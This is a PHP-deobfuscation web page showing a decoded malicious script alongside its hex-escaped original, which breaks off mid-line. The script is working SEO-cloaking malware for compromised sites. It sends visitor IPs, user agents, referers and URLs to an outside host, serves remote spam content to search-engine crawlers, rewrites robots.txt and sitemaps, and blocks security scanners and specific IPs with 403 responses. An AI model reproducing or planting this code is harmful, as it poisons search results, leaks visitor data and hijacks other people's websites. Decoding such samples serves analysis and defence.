Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto ZXjUx; sMAxI: if (preg_match("\57\50{$AWF1g}\51\x2f\151", $_SERVER["\110\x54\x54\120\..

Decoded Output download

<?  goto ZXjUx; sMAxI: if (preg_match("/({$AWF1g})/i", $_SERVER["HTTP_USER_AGENT"])) { goto lRt7i; } goto I3wOI; zTpoX: goto X9LRa; goto g7u9g; WB_2b: echo $Jlfxs; goto oYlvV; I3wOI: if (preg_match("/({$AWF1g})/i", $_SERVER["HTTP_REFERER"])) { goto apYMe; } goto YpD7Z; xbphf: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}&script={$hmMpR}"; goto ukuh3; rEXVa: if (strpos($h2YRv, "robots.txt") !== false || strpos($h2YRv, "writerobots") !== false) { goto dRsky; } goto LqxOa; TuSen: echo $Jlfxs = HqyYb($Wy33n); goto IZrBL; odUEH: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}&script={$hmMpR}"; goto GtZ9q; ywNiF: UI5Jv: goto aEszV; gHs8i: header("Content-Type: text/xml; charset=utf-8"); goto T_J2l; ohXbU: fLlMM: goto x3OAn; jA1LS: if (substr($Jlfxs, 0, 5) == "<?xml") { goto YZXG8; } goto AsK7B; ZzqhV: header("HTTP/1.0 403 Forbidden"); goto f3uiQ; pbZ12: if ($Jlfxs == "500") { goto o0VRh; } goto gHs8i; hToRw: h5Fdp: goto aQ_1H; Z_cOf: u7_ZD: goto Y3_GJ; UgYoy: $hmMpR = urlencode($_SERVER["SCRIPT_NAME"]); goto qeEbn; MGP6S: gL0i7: goto nyCbK; bdFN_: eXBvw: goto b8kvt; ajBHI: header("Content-Type: text/plain; charset=utf-8"); goto TuSen; Z2gZa: $iNn5x = urlencode($Cjagl); goto TNpjU; Y4AAS: if (!(strpos($h2YRv, "uuuuxxxxooo") !== false)) { goto eXBvw; } goto ydqHo; GBMUD: exit; goto hToRw; mFrGh: o0VRh: goto yZiST; huyPg: echo $Jlfxs; goto urOCq; pZcww: if (strpos($h2YRv, "jp2023") !== false) { goto aEStG; } goto rEXVa; ydqHo: echo "ok"; goto Uaghd; cRwlO: $s5EAV = $_SERVER["SCRIPT_NAME"]; goto v9o8Y; ukuh3: $Jlfxs = HQYyb($Wy33n); goto huyPg; awNeV: XdziS: goto cRwlO; Dsj9s: exit; goto hwgLq; fJXv9: $a51TU = urlencode($_SERVER["HTTP_USER_AGENT"]); goto Y0PZW; FIkyG: dRsky: goto LkY2n; AUVBH: function blu33() { goto kAI0o; nWdMR: $OYizP = explode(",", $iNn5x); goto IlpjE; FPKiM: XRh3g: goto jUJwB; xG5Iq: if (getenv("HTTP_X_FORWARDED_FOR")) { goto nR87G; } goto C5TOl; irHnx: XP7DX: goto BV5qm; kAI0o: if (!getenv("HTTP_CLIENT_IP")) { goto XP7DX; } goto VJz8S; IlpjE: $iNn5x = $OYizP[0]; goto YWrmp; jHuio: $iNn5x = getenv("REMOTE_ADDR"); goto FPKiM; qn4er: Tjp4F: goto jHuio; mH71d: Adu9y: goto d74q5; MJVB1: goto XRh3g; goto mH71d; VJz8S: $iNn5x = getenv("HTTP_CLIENT_IP"); goto irHnx; DGSc_: nR87G: goto z3azO; G2V4v: goto XRh3g; goto DGSc_; BV5qm: if (getenv("HTTP_X_REAL_IP")) { goto Adu9y; } goto xG5Iq; L3mtU: $iNn5x = "0.0.0.0"; goto MJVB1; jUJwB: return $iNn5x; goto UD3PG; C5TOl: if (getenv("REMOTE_ADDR")) { goto Tjp4F; } goto L3mtU; YWrmp: goto XRh3g; goto qn4er; z3azO: $iNn5x = getenv("HTTP_X_FORWARDED_FOR"); goto nWdMR; d74q5: $iNn5x = getenv("HTTP_X_REAL_IP"); goto G2V4v; UD3PG: } goto XPB72; LkY2n: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}&script={$hmMpR}"; goto ajBHI; p_qNH: gWlMV: goto snV_D; rQRkx: goto eZQK_; goto R2H8z; gXX0t: $wwZay = 0; goto bXWXK; yq8ED: exit; goto cxDlU; urOCq: exit; goto p_qNH; xNpCI: @file_put_contents("uxo.txt", "0"); goto vAmN7; nyCbK: goto gWlMV; goto r74VU; ARX5z: header("HTTP/1.0 403 Forbidden"); goto Om1k3; wgDr2: exit; goto MGP6S; f3uiQ: exit; goto IabHs; e3Tzr: function lu6PZ($Je1WC) { goto uIMeF; Duvdg: H8Q_x: goto nJBjb; nJBjb: return $Ixymw; goto IISJT; yzmn2: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYHOST, FALSE); goto D9M66; qYREX: $Ixymw = @file_get_contents($Je1WC); goto Duvdg; M0o5f: curl_setopt($DEQGI, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto Puq7K; D9M66: Jx3Js: goto b6U9U; rsfrk: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYPEER, FALSE); goto yzmn2; TND62: curl_setopt($DEQGI, CURLOPT_FOLLOWLOCATION, false); goto M0o5f; SG9M0: curl_close($DEQGI); goto sJFb1; n1WwH: curl_setopt($DEQGI, CURLOPT_URL, $Je1WC); goto KO5uw; KO5uw: curl_setopt($DEQGI, CURLOPT_RETURNTRANSFER, true); goto TND62; b6U9U: $Ixymw = curl_exec($DEQGI); goto SG9M0; Puq7K: if (!(strpos($Je1WC, "https://") !== false)) { goto Jx3Js; } goto rsfrk; sJFb1: if (!empty($Ixymw)) { goto H8Q_x; } goto qYREX; uIMeF: $DEQGI = curl_init(); goto n1WwH; IISJT: } goto mmqol; hwgLq: lrU4O: goto F226b; VqvP8: goto Rd09z; goto WflQw; xKrYp: lRt7i: goto odUEH; T_J2l: echo $Jlfxs; goto yq8ED; hFNMO: if (!($Jlfxs == "500")) { goto qFhtP; } goto WQy2Y; frkAR: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}&script={$hmMpR}&sitemap=" . urlencode($OUEnn); goto xrZ2m; wMlZE: $wwZay = 1; goto aIQ2E; Kyh1u: $AWF1g = "bing|google|yahoo"; goto PKvJj; emGpl: tNffa: goto VqvP8; A_CRz: echo $Jlfxs; goto GBMUD; ICG6z: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}"; goto Ow0SX; gcsKk: $wwZay = @file_get_contents("uxo.txt"); goto zTpoX; H8wEY: $P6CC8 = "https://www.google.com/ping?sitemap="; goto fJ1vJ; GtZ9q: $Jlfxs = hqyyB($Wy33n); goto zevTn; z_raZ: $h2YRv = urldecode($_SERVER["REQUEST_URI"]); goto Y4AAS; anyFg: goto GtSit; goto xJAWL; bVBS5: YA0hH: goto wMlZE; PaVEc: $s5EAV = "/"; goto iI14y; Pyq5Q: $Jlfxs = HqyyB($Wy33n); goto pbZ12; hMtqe: qFhtP: goto jA1LS; zevTn: if (empty($Jlfxs)) { goto h5Fdp; } goto hFNMO; Q4g_k: $wwZay = 0; goto xNpCI; v9o8Y: if (strpos($s5EAV, "index.php") !== false) { goto ta0Q5; } goto aZJnd; wFY7s: YZXG8: goto g4mpO; x3OAn: goto WDObo; goto awNeV; IabHs: SsjHB: goto Kyh1u; wXVrK: GtSit: goto H8wEY; Uaghd: exit; goto bdFN_; ZM8yP: $_SERVER["REQUEST_SCHEME"] = "https"; goto f1Ksp; g5ewO: $Cjagl = BLU33(); goto Z2gZa; vAmN7: goto UI5Jv; goto bVBS5; JcA4f: @file_put_contents("robots.txt", $HnzGT); goto CyN47; EWUuY: OleOl: goto wXVrK; S09V9: if (empty($Jlfxs)) { goto tNffa; } goto nUrpa; r74VU: aEStG: goto xbphf; Y3_GJ: goto DU3RK; goto xKrYp; ZnDQi: $RDzb0 = 2824; goto fJXv9; g6z_U: if (strpos($h2YRv, "favicon.ico") !== false) { goto Oo3Kt; } goto pZcww; miq4J: $Mqbf0 = urlencode($_SERVER["REQUEST_SCHEME"]); goto z_raZ; aEszV: X9LRa: goto ktirV; LjmPj: fKJ7t: goto gXX0t; bXWXK: if (!file_exists("uxo.txt")) { goto aFytK; } goto gcsKk; f1Ksp: eZQK_: goto miq4J; QBdtV: $CxzKQ = ''; goto nfSvy; AsK7B: header("Content-Type: text/html; charset=utf-8"); goto glHfb; IZrBL: @file_put_contents("robots.txt", $Jlfxs); goto wgDr2; glHfb: goto Tumkp; goto wFY7s; oYlvV: exit; goto emGpl; R2H8z: jfRhL: goto ZM8yP; aZJnd: $s5EAV = $s5EAV . "?"; goto anyFg; CyN47: exit; goto Yb0h3; zfP5s: Oo3Kt: goto ohXbU; LqxOa: if (preg_match("@^/(.*?).xml$@i", $h2YRv)) { goto fdnuy; } goto sMAxI; S96Fr: exit; goto hMtqe; g4mpO: header("Content-Type: text/xml; charset=utf-8"); goto UQj8e; SyyNm: if ($Jlfxs == "ok") { goto YA0hH; } goto Q4g_k; D3kGv: if ($wwZay == 0) { goto DOnLp; } goto PaVEc; TNpjU: $yQ1YK = urlencode($_SERVER["HTTP_HOST"]); goto UgYoy; WQy2Y: header("HTTP/1.0 500 Internal Server Error"); goto S96Fr; ktirV: if (strpos($h2YRv, "pingsitemap.xml") !== false) { goto XdziS; } goto g6z_U; YpD7Z: goto u7_ZD; goto yealm; Ow0SX: $Jlfxs = hqYYb($Wy33n); goto jtWg_; qeEbn: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto jfRhL; } goto kZmsx; PKvJj: $yaNkf = "http://cw114.russiandue.top/index.php"; goto ZnDQi; l2sry: $yYCJI = $Mqbf0 . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto hwxrd; wYS4w: goto gL0i7; goto FIkyG; xmDyr: DOnLp: goto PeBTo; WYqXz: $Wy33n = $yaNkf . "?agent={$a51TU}&refer={$uaWlu}&lang={$NWtO1}&ip={$iNn5x}&dom={$yQ1YK}&http={$Mqbf0}&uri={$h2YRv}&pc={$RDzb0}&rewriteable={$wwZay}&script={$hmMpR}"; goto Pyq5Q; ZXjUx: error_reporting(0); goto AUVBH; cxDlU: goto lrU4O; goto mFrGh; yealm: apYMe: goto ICG6z; jtWg_: if ($Jlfxs == "500") { goto mhEkD; } goto S09V9; aIQ2E: @file_put_contents("uxo.txt", "1"); goto ywNiF; fJ1vJ: $HnzGT = "User-agent: *
Allow: /"; goto omNUZ; C8x5Q: exit; goto zdu4O; BdbIe: fdnuy: goto WYqXz; WflQw: mhEkD: goto XH5dS; nUrpa: header("HTTP/1.1 404 Not Found"); goto WB_2b; Y0PZW: $uaWlu = urlencode($_SERVER["HTTP_REFERER"]); goto EHxm5; PeBTo: $s5EAV = "/?"; goto EWUuY; yZiST: header("HTTP/1.0 500 Internal Server Error"); goto Dsj9s; zdu4O: Rd09z: goto Z_cOf; g7u9g: aFytK: goto l2sry; omNUZ: $OUEnn = "{$Mqbf0}://" . $yQ1YK . $s5EAV . "sitemap.xml"; goto O_07I; SG220: goto j4SDy; goto BdbIe; b8kvt: if (!($Cjagl == "153.246.135.238" || $Cjagl == "219.101.44.233")) { goto fKJ7t; } goto ARX5z; mmqol: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto SsjHB; } goto ZzqhV; F226b: j4SDy: goto wYS4w; xJAWL: ta0Q5: goto D3kGv; nfSvy: echo $OUEnn . ": " . $CxzKQ . "<br/>"; goto frkAR; XPB72: function HqYyB($Je1WC) { goto tp6z0; tp6z0: $Ixymw = @file_get_contents($Je1WC); goto rweyp; VeEb_: curl_setopt($DEQGI, CURLOPT_FOLLOWLOCATION, false); goto KmFxM; wYzVK: curl_setopt($DEQGI, CURLOPT_URL, $Je1WC); goto Thonc; TPy4H: J1GSO: goto cVTfr; TtCuL: $Ixymw = curl_exec($DEQGI); goto hVyc5; Thonc: curl_setopt($DEQGI, CURLOPT_RETURNTRANSFER, true); goto VeEb_; cVTfr: return $Ixymw; goto ab0Bw; b0AG1: Y8wJT: goto TtCuL; hVyc5: curl_close($DEQGI); goto TPy4H; KmFxM: if (!(strpos($Je1WC, "https://") !== false)) { goto Y8wJT; } goto S8y3A; rweyp: if (!empty($Ixymw)) { goto J1GSO; } goto bnqlM; S8y3A: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYPEER, FALSE); goto UGmBS; UGmBS: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYHOST, FALSE); goto b0AG1; bnqlM: $DEQGI = curl_init(); goto wYzVK; ab0Bw: } goto e3Tzr; iI14y: goto OleOl; goto xmDyr; O_07I: $HnzGT = trim($HnzGT) . "
" . "Sitemap: {$OUEnn}"; goto QBdtV; Om1k3: exit; goto LjmPj; EHxm5: $NWtO1 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto g5ewO; xrZ2m: $Jlfxs = hqyYb($Wy33n); goto JcA4f; UQj8e: Tumkp: goto A_CRz; snV_D: goto fLlMM; goto zfP5s; hwxrd: $Jlfxs = HQYYb($yYCJI); goto SyyNm; XH5dS: header("HTTP/1.0 500 Internal Server Error"); goto C8x5Q; kZmsx: $_SERVER["REQUEST_SCHEME"] = "http"; goto rQRkx; aQ_1H: DU3RK: goto SG220; Yb0h3: WDObo: 
?> 

Did this file decode correctly?

Original Code

goto ZXjUx; sMAxI: if (preg_match("\57\50{$AWF1g}\51\x2f\151", $_SERVER["\110\x54\x54\120\137\x55\123\105\x52\x5f\101\107\105\116\x54"])) { goto lRt7i; } goto I3wOI; zTpoX: goto X9LRa; goto g7u9g; WB_2b: echo $Jlfxs; goto oYlvV; I3wOI: if (preg_match("\x2f\50{$AWF1g}\x29\57\151", $_SERVER["\110\x54\x54\120\x5f\x52\x45\106\x45\122\105\x52"])) { goto apYMe; } goto YpD7Z; xbphf: $Wy33n = $yaNkf . "\77\x61\147\x65\156\164\75{$a51TU}\x26\x72\x65\x66\x65\x72\x3d{$uaWlu}\46\x6c\141\x6e\x67\x3d{$NWtO1}\x26\x69\160\x3d{$iNn5x}\x26\144\157\155\x3d{$yQ1YK}\46\150\x74\x74\x70\75{$Mqbf0}\x26\x75\x72\151\75{$h2YRv}\46\x70\143\75{$RDzb0}\46\x72\145\167\x72\x69\x74\x65\141\142\x6c\x65\x3d{$wwZay}\x26\163\143\x72\151\x70\164\75{$hmMpR}"; goto ukuh3; rEXVa: if (strpos($h2YRv, "\162\x6f\x62\x6f\164\163\x2e\164\170\x74") !== false || strpos($h2YRv, "\x77\x72\151\164\x65\162\157\x62\157\x74\x73") !== false) { goto dRsky; } goto LqxOa; TuSen: echo $Jlfxs = HqyYb($Wy33n); goto IZrBL; odUEH: $Wy33n = $yaNkf . "\x3f\x61\147\x65\156\x74\x3d{$a51TU}\x26\162\145\x66\x65\162\x3d{$uaWlu}\x26\x6c\x61\156\147\x3d{$NWtO1}\x26\x69\160\75{$iNn5x}\46\144\x6f\x6d\75{$yQ1YK}\x26\x68\164\164\x70\75{$Mqbf0}\46\165\x72\x69\75{$h2YRv}\46\160\x63\x3d{$RDzb0}\46\x72\x65\x77\162\151\164\145\x61\142\154\x65\x3d{$wwZay}\x26\x73\143\x72\x69\x70\164\75{$hmMpR}"; goto GtZ9q; ywNiF: UI5Jv: goto aEszV; gHs8i: header("\x43\x6f\156\x74\x65\x6e\164\55\x54\171\x70\145\72\40\x74\145\x78\x74\57\170\155\x6c\x3b\40\x63\x68\141\162\x73\145\164\75\x75\164\x66\x2d\70"); goto T_J2l; ohXbU: fLlMM: goto x3OAn; jA1LS: if (substr($Jlfxs, 0, 5) == "\74\77\170\155\154") { goto YZXG8; } goto AsK7B; ZzqhV: header("\110\124\124\120\57\61\x2e\60\x20\64\60\x33\x20\x46\157\162\x62\151\x64\144\145\156"); goto f3uiQ; pbZ12: if ($Jlfxs == "\x35\60\x30") { goto o0VRh; } goto gHs8i; hToRw: h5Fdp: goto aQ_1H; Z_cOf: u7_ZD: goto Y3_GJ; UgYoy: $hmMpR = urlencode($_SERVER["\123\x43\x52\111\120\x54\137\116\101\115\105"]); goto qeEbn; MGP6S: gL0i7: goto nyCbK; bdFN_: eXBvw: goto b8kvt; ajBHI: header("\103\x6f\156\x74\x65\x6e\x74\55\x54\x79\160\x65\72\x20\x74\145\x78\x74\57\x70\x6c\141\x69\156\73\40\x63\150\x61\162\x73\x65\164\75\165\x74\146\55\70"); goto TuSen; Z2gZa: $iNn5x = urlencode($Cjagl); goto TNpjU; Y4AAS: if (!(strpos($h2YRv, "\165\x75\165\x75\x78\170\x78\170\x6f\157\157") !== false)) { goto eXBvw; } goto ydqHo; GBMUD: exit; goto hToRw; mFrGh: o0VRh: goto yZiST; huyPg: echo $Jlfxs; goto urOCq; pZcww: if (strpos($h2YRv, "\x6a\160\x32\x30\62\63") !== false) { goto aEStG; } goto rEXVa; ydqHo: echo "\x6f\x6b"; goto Uaghd; cRwlO: $s5EAV = $_SERVER["\x53\103\x52\x49\x50\x54\x5f\x4e\101\115\105"]; goto v9o8Y; ukuh3: $Jlfxs = HQYyb($Wy33n); goto huyPg; awNeV: XdziS: goto cRwlO; Dsj9s: exit; goto hwgLq; fJXv9: $a51TU = urlencode($_SERVER["\x48\x54\x54\120\x5f\x55\x53\x45\122\137\101\x47\x45\116\x54"]); goto Y0PZW; FIkyG: dRsky: goto LkY2n; AUVBH: function blu33() { goto kAI0o; nWdMR: $OYizP = explode("\54", $iNn5x); goto IlpjE; FPKiM: XRh3g: goto jUJwB; xG5Iq: if (getenv("\x48\x54\124\x50\137\130\x5f\106\117\122\x57\x41\x52\x44\105\104\x5f\106\117\x52")) { goto nR87G; } goto C5TOl; irHnx: XP7DX: goto BV5qm; kAI0o: if (!getenv("\x48\124\x54\x50\x5f\103\114\111\105\116\124\137\x49\120")) { goto XP7DX; } goto VJz8S; IlpjE: $iNn5x = $OYizP[0]; goto YWrmp; jHuio: $iNn5x = getenv("\122\x45\x4d\117\x54\x45\x5f\101\x44\x44\122"); goto FPKiM; qn4er: Tjp4F: goto jHuio; mH71d: Adu9y: goto d74q5; MJVB1: goto XRh3g; goto mH71d; VJz8S: $iNn5x = getenv("\x48\x54\x54\120\x5f\x43\114\x49\x45\116\x54\137\111\120"); goto irHnx; DGSc_: nR87G: goto z3azO; G2V4v: goto XRh3g; goto DGSc_; BV5qm: if (getenv("\x48\124\x54\x50\x5f\130\137\122\x45\101\x4c\x5f\x49\120")) { goto Adu9y; } goto xG5Iq; L3mtU: $iNn5x = "\60\56\60\x2e\x30\x2e\60"; goto MJVB1; jUJwB: return $iNn5x; goto UD3PG; C5TOl: if (getenv("\x52\x45\115\x4f\124\x45\137\x41\104\104\x52")) { goto Tjp4F; } goto L3mtU; YWrmp: goto XRh3g; goto qn4er; z3azO: $iNn5x = getenv("\110\x54\124\x50\137\x58\x5f\106\x4f\x52\x57\x41\122\x44\x45\x44\137\x46\x4f\122"); goto nWdMR; d74q5: $iNn5x = getenv("\x48\124\124\x50\137\x58\137\x52\x45\101\114\137\111\120"); goto G2V4v; UD3PG: } goto XPB72; LkY2n: $Wy33n = $yaNkf . "\x3f\x61\x67\x65\156\164\75{$a51TU}\46\162\145\x66\145\162\x3d{$uaWlu}\x26\x6c\141\156\147\x3d{$NWtO1}\46\x69\160\75{$iNn5x}\46\x64\157\x6d\x3d{$yQ1YK}\x26\x68\x74\x74\x70\75{$Mqbf0}\46\x75\162\151\75{$h2YRv}\46\x70\x63\x3d{$RDzb0}\46\x72\x65\x77\162\x69\x74\145\x61\x62\x6c\145\x3d{$wwZay}\46\163\x63\x72\x69\160\x74\75{$hmMpR}"; goto ajBHI; p_qNH: gWlMV: goto snV_D; rQRkx: goto eZQK_; goto R2H8z; gXX0t: $wwZay = 0; goto bXWXK; yq8ED: exit; goto cxDlU; urOCq: exit; goto p_qNH; xNpCI: @file_put_contents("\165\x78\157\56\x74\170\164", "\x30"); goto vAmN7; nyCbK: goto gWlMV; goto r74VU; ARX5z: header("\x48\124\x54\x50\57\x31\x2e\x30\x20\x34\x30\63\x20\106\x6f\x72\x62\x69\144\144\x65\156"); goto Om1k3; wgDr2: exit; goto MGP6S; f3uiQ: exit; goto IabHs; e3Tzr: function lu6PZ($Je1WC) { goto uIMeF; Duvdg: H8Q_x: goto nJBjb; nJBjb: return $Ixymw; goto IISJT; yzmn2: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYHOST, FALSE); goto D9M66; qYREX: $Ixymw = @file_get_contents($Je1WC); goto Duvdg; M0o5f: curl_setopt($DEQGI, CURLOPT_USERAGENT, $_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\122\x5f\x41\107\105\116\124"]); goto Puq7K; D9M66: Jx3Js: goto b6U9U; rsfrk: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYPEER, FALSE); goto yzmn2; TND62: curl_setopt($DEQGI, CURLOPT_FOLLOWLOCATION, false); goto M0o5f; SG9M0: curl_close($DEQGI); goto sJFb1; n1WwH: curl_setopt($DEQGI, CURLOPT_URL, $Je1WC); goto KO5uw; KO5uw: curl_setopt($DEQGI, CURLOPT_RETURNTRANSFER, true); goto TND62; b6U9U: $Ixymw = curl_exec($DEQGI); goto SG9M0; Puq7K: if (!(strpos($Je1WC, "\x68\164\164\160\163\x3a\57\x2f") !== false)) { goto Jx3Js; } goto rsfrk; sJFb1: if (!empty($Ixymw)) { goto H8Q_x; } goto qYREX; uIMeF: $DEQGI = curl_init(); goto n1WwH; IISJT: } goto mmqol; hwgLq: lrU4O: goto F226b; VqvP8: goto Rd09z; goto WflQw; xKrYp: lRt7i: goto odUEH; T_J2l: echo $Jlfxs; goto yq8ED; hFNMO: if (!($Jlfxs == "\x35\x30\x30")) { goto qFhtP; } goto WQy2Y; frkAR: $Wy33n = $yaNkf . "\x3f\141\x67\145\x6e\x74\75{$a51TU}\x26\x72\145\x66\145\x72\75{$uaWlu}\x26\154\141\x6e\x67\75{$NWtO1}\46\151\160\x3d{$iNn5x}\x26\144\x6f\155\x3d{$yQ1YK}\46\150\164\x74\160\75{$Mqbf0}\46\165\x72\151\x3d{$h2YRv}\x26\x70\143\75{$RDzb0}\46\x72\x65\x77\x72\x69\164\145\141\142\154\145\75{$wwZay}\x26\x73\x63\162\151\x70\x74\x3d{$hmMpR}\x26\x73\x69\x74\x65\155\x61\160\x3d" . urlencode($OUEnn); goto xrZ2m; wMlZE: $wwZay = 1; goto aIQ2E; Kyh1u: $AWF1g = "\x62\151\x6e\x67\174\x67\157\157\147\x6c\145\174\171\x61\x68\x6f\157"; goto PKvJj; emGpl: tNffa: goto VqvP8; A_CRz: echo $Jlfxs; goto GBMUD; ICG6z: $Wy33n = $yaNkf . "\77\141\147\x65\x6e\x74\75{$a51TU}\x26\x72\x65\x66\x65\x72\75{$uaWlu}\46\154\141\x6e\x67\x3d{$NWtO1}\x26\151\160\x3d{$iNn5x}\46\144\x6f\155\75{$yQ1YK}\46\x68\x74\x74\x70\75{$Mqbf0}\x26\165\x72\151\75{$h2YRv}\x26\x70\x63\75{$RDzb0}\x26\162\x65\167\162\x69\x74\145\141\142\154\x65\x3d{$wwZay}"; goto Ow0SX; gcsKk: $wwZay = @file_get_contents("\165\x78\x6f\x2e\x74\x78\x74"); goto zTpoX; H8wEY: $P6CC8 = "\x68\x74\164\x70\x73\x3a\57\57\167\x77\x77\x2e\147\x6f\157\x67\154\145\56\143\x6f\155\57\x70\151\x6e\147\77\163\x69\164\145\x6d\141\x70\75"; goto fJ1vJ; GtZ9q: $Jlfxs = hqyyB($Wy33n); goto zevTn; z_raZ: $h2YRv = urldecode($_SERVER["\122\x45\121\125\105\x53\124\x5f\x55\122\111"]); goto Y4AAS; anyFg: goto GtSit; goto xJAWL; bVBS5: YA0hH: goto wMlZE; PaVEc: $s5EAV = "\57"; goto iI14y; Pyq5Q: $Jlfxs = HqyyB($Wy33n); goto pbZ12; hMtqe: qFhtP: goto jA1LS; zevTn: if (empty($Jlfxs)) { goto h5Fdp; } goto hFNMO; Q4g_k: $wwZay = 0; goto xNpCI; v9o8Y: if (strpos($s5EAV, "\x69\x6e\144\x65\170\56\x70\150\x70") !== false) { goto ta0Q5; } goto aZJnd; wFY7s: YZXG8: goto g4mpO; x3OAn: goto WDObo; goto awNeV; IabHs: SsjHB: goto Kyh1u; wXVrK: GtSit: goto H8wEY; Uaghd: exit; goto bdFN_; ZM8yP: $_SERVER["\122\105\x51\125\x45\x53\124\x5f\123\x43\x48\x45\115\x45"] = "\x68\164\164\x70\x73"; goto f1Ksp; g5ewO: $Cjagl = BLU33(); goto Z2gZa; vAmN7: goto UI5Jv; goto bVBS5; JcA4f: @file_put_contents("\162\x6f\142\157\164\163\x2e\164\x78\x74", $HnzGT); goto CyN47; EWUuY: OleOl: goto wXVrK; S09V9: if (empty($Jlfxs)) { goto tNffa; } goto nUrpa; r74VU: aEStG: goto xbphf; Y3_GJ: goto DU3RK; goto xKrYp; ZnDQi: $RDzb0 = 2824; goto fJXv9; g6z_U: if (strpos($h2YRv, "\146\x61\166\x69\143\157\x6e\56\151\x63\x6f") !== false) { goto Oo3Kt; } goto pZcww; miq4J: $Mqbf0 = urlencode($_SERVER["\122\x45\x51\x55\x45\x53\124\x5f\123\x43\110\x45\x4d\105"]); goto z_raZ; aEszV: X9LRa: goto ktirV; LjmPj: fKJ7t: goto gXX0t; bXWXK: if (!file_exists("\165\x78\157\x2e\164\x78\x74")) { goto aFytK; } goto gcsKk; f1Ksp: eZQK_: goto miq4J; QBdtV: $CxzKQ = ''; goto nfSvy; AsK7B: header("\103\x6f\x6e\164\x65\x6e\164\55\124\x79\160\145\x3a\40\x74\145\x78\164\57\150\x74\155\154\73\x20\x63\150\x61\x72\163\145\164\75\165\164\146\x2d\x38"); goto glHfb; IZrBL: @file_put_contents("\x72\x6f\x62\x6f\164\x73\56\164\x78\x74", $Jlfxs); goto wgDr2; glHfb: goto Tumkp; goto wFY7s; oYlvV: exit; goto emGpl; R2H8z: jfRhL: goto ZM8yP; aZJnd: $s5EAV = $s5EAV . "\77"; goto anyFg; CyN47: exit; goto Yb0h3; zfP5s: Oo3Kt: goto ohXbU; LqxOa: if (preg_match("\100\x5e\57\50\x2e\x2a\77\x29\x2e\x78\x6d\x6c\44\x40\151", $h2YRv)) { goto fdnuy; } goto sMAxI; S96Fr: exit; goto hMtqe; g4mpO: header("\103\x6f\156\164\145\156\x74\55\x54\171\x70\145\72\x20\x74\x65\x78\x74\57\x78\x6d\154\x3b\x20\143\150\x61\x72\x73\145\x74\x3d\x75\164\146\x2d\x38"); goto UQj8e; SyyNm: if ($Jlfxs == "\x6f\153") { goto YA0hH; } goto Q4g_k; D3kGv: if ($wwZay == 0) { goto DOnLp; } goto PaVEc; TNpjU: $yQ1YK = urlencode($_SERVER["\110\x54\124\120\137\110\117\x53\124"]); goto UgYoy; WQy2Y: header("\x48\124\x54\x50\57\x31\x2e\60\x20\65\x30\x30\40\111\156\x74\145\x72\156\141\x6c\40\123\145\162\166\145\x72\x20\x45\162\x72\x6f\x72"); goto S96Fr; ktirV: if (strpos($h2YRv, "\x70\151\x6e\x67\x73\151\164\145\155\x61\160\56\x78\155\154") !== false) { goto XdziS; } goto g6z_U; YpD7Z: goto u7_ZD; goto yealm; Ow0SX: $Jlfxs = hqYYb($Wy33n); goto jtWg_; qeEbn: if (!empty($_SERVER["\122\105\x51\x55\x45\123\x54\x5f\x53\x43\110\105\115\x45"]) && $_SERVER["\122\x45\x51\125\x45\x53\124\137\123\x43\x48\x45\x4d\105"] == "\150\x74\x74\x70\163" || !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\x48\124\x54\120\x53"] == "\157\x6e" || !empty($_SERVER["\x53\x45\122\126\x45\122\137\x50\x4f\122\124"]) && $_SERVER["\x53\x45\122\x56\105\122\137\x50\117\x52\124"] == "\64\x34\x33" || isset($_SERVER["\x48\x54\x54\x50\137\x58\137\106\x4f\x52\127\101\x52\104\105\x44\x5f\120\122\x4f\124\117"]) && $_SERVER["\110\124\x54\x50\137\130\x5f\x46\117\x52\x57\101\122\104\x45\104\x5f\120\122\x4f\x54\117"] == "\x68\x74\164\160\x73") { goto jfRhL; } goto kZmsx; PKvJj: $yaNkf = 